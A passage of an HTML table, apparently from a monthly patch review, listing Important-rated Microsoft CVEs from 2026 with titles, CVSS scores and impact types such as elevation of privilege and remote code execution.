  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25250">CVE-2026-25250 *</a></td>
  <td>MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix</td>
  <td>Important</td>
  <td>6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26181">CVE-2026-26181</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32219">CVE-2026-32219</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32091">CVE-2026-32091</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26152">CVE-2026-26152</a></td>
  <td>Microsoft Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33103">CVE-2026-33103</a></td>
  <td>Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32188">CVE-2026-32188</a></td>
  <td>Microsoft Excel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32189">CVE-2026-32189</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32197">CVE-2026-32197</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32198">CVE-2026-32198</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32199">CVE-2026-32199</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32184">CVE-2026-32184</a></td>
  <td>Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26155">CVE-2026-26155</a></td>
  <td>Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27914">CVE-2026-27914</a></td>
  <td>Microsoft Management Console Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26149">CVE-2026-26149</a></td>
  <td>Microsoft Power Apps Security Feature Bypass</td>
  <td>Important</td>
  <td>9</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32200">CVE-2026-32200</a></td>
  <td>Microsoft PowerPoint Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26143">CVE-2026-26143</a></td>
  <td>Microsoft PowerShell Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33120">CVE-2026-33120 †</a></td>
  <td>Microsoft SQL Server Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20945">CVE-2026-20945</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33822">CVE-2026-33822</a></td>
  <td>Microsoft Word Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33095">CVE-2026-33095</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23657">CVE-2026-23657</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32081">CVE-2026-32081</a></td>
  <td>Package Catalog Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26170">CVE-2026-26170</a></td>
  <td>PowerShell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26183">CVE-2026-26183</a></td>
  <td>Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26160">CVE-2026-26160</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26159">CVE-2026-26159</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26151">CVE-2026-26151</a></td>
  <td>Remote Desktop Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32085">CVE-2026-32085</a></td>
  <td>Remote Procedure Call Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32167">CVE-2026-32167</a></td>
  <td>SQL Server Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32176">CVE-2026-32176</a></td>
  <td>SQL Server Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0390">CVE-2026-0390</a></td>
  <td>UEFI Secure Boot Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32220">CVE-2026-32220</a></td>
  <td>UEFI Secure Boot Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.4</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32212">CVE-2026-32212</a></td>
  <td>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32214">CVE-2026-32214</a></td>
  <td>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32079">CVE-2026-32079</a></td>
  <td>Web Account Manager Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33104">CVE-2026-33104</a></td>
  <td>Win32k Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32196">CVE-2026-32196</a></td>
  <td>Windows Admin Center Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26178">CVE-2026-26178</a></td>
  <td>Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32073">CVE-2026-32073</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26168">CVE-2026-26168</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26173">CVE-2026-26173</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26177">CVE-2026-26177</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26182">CVE-2026-26182</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27922">CVE-2026-27922</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33099">CVE-2026-33099</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33100">CVE-2026-33100</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32088">CVE-2026-32088</a></td>
  <td>Windows Biometric Service Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27913">CVE-2026-27913</a></td>
  <td>Windows BitLocker Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>7.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26175">CVE-2026-26175</a></td>
  <td>Windows Boot Manager Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32162">CVE-2026-32162</a></td>
  <td>Windows COM Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20806">CVE-2026-20806</a></td>
  <td>Windows COM Server Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26176">CVE-2026-26176</a></td>
  <td>Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27926">CVE-2026-27926</a></td>
  <td>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32070">CVE-2026-32070</a></td>
  <td>Windows Common Log File System Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33098">CVE-2026-33098</a></td>
  <td>Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26153">CVE-2026-26153</a></td>
  <td>Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32087">CVE-2026-32087</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32093">CVE-2026-32093</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32086">CVE-2026-32086</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32150">CVE-2026-32150</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27931">CVE-2026-27931</a></td>
  <td>Windows GDI Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27930">CVE-2026-27930</a></td>
  <td>Windows GDI Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32221">CVE-2026-32221</a></td>
  <td>Windows Graphics Component Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27906">CVE-2026-27906</a></td>
  <td>Windows Hello Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.4</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27928">CVE-2026-27928</a></td>
  <td>Windows Hello Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>8.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26156">CVE-2026-26156</a></td>
  <td>Windows Hyper-V Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32149">CVE-2026-32149</a></td>
  <td>Windows Hyper-V Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.3</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27910">CVE-2026-27910</a></td>
  <td>Windows Installer Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912">CVE-2026-27912</a></td>
  <td>Windows Kerberos Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26179">CVE-2026-26179</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26180">CVE-2026-26180</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32195">CVE-2026-32195</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26163">CVE-2026-26163</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32215">CVE-2026-32215</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32217">CVE-2026-32217</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32218">CVE-2026-32218</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26169">CVE-2026-26169</a></td>
  <td>Windows Kernel Memory Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27929">CVE-2026-27929</a></td>
  <td>Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32071">CVE-2026-32071</a></td>
  <td>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20930">CVE-2026-20930</a></td>
  <td>Windows Management Services Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26162">CVE-2026-26162</a></td>
  <td>Windows OLE Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33101">CVE-2026-33101</a></td>
  <td>Windows Print Spooler Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32084">CVE-2026-32084</a></td>
  <td>Windows Print Spooler Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27927">CVE-2026-27927</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26184">CVE-2026-26184</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32069">CVE-2026-32069</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32074">CVE-2026-32074</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32078">CVE-2026-32078</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26167">CVE-2026-26167</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32158">CVE-2026-32158</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32159">CVE-2026-32159</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32160">CVE-2026-32160</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26172">CVE-2026-26172</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20928">CVE-2026-20928</a></td>
  <td>Windows Recovery Environment Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32216">CVE-2026-32216</a></td>
  <td>Windows Redirected Drive Buffering System Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27909">CVE-2026-27909</a></td>
  <td>Windows Search Service Elevation of Privilege Vulnerability</td>
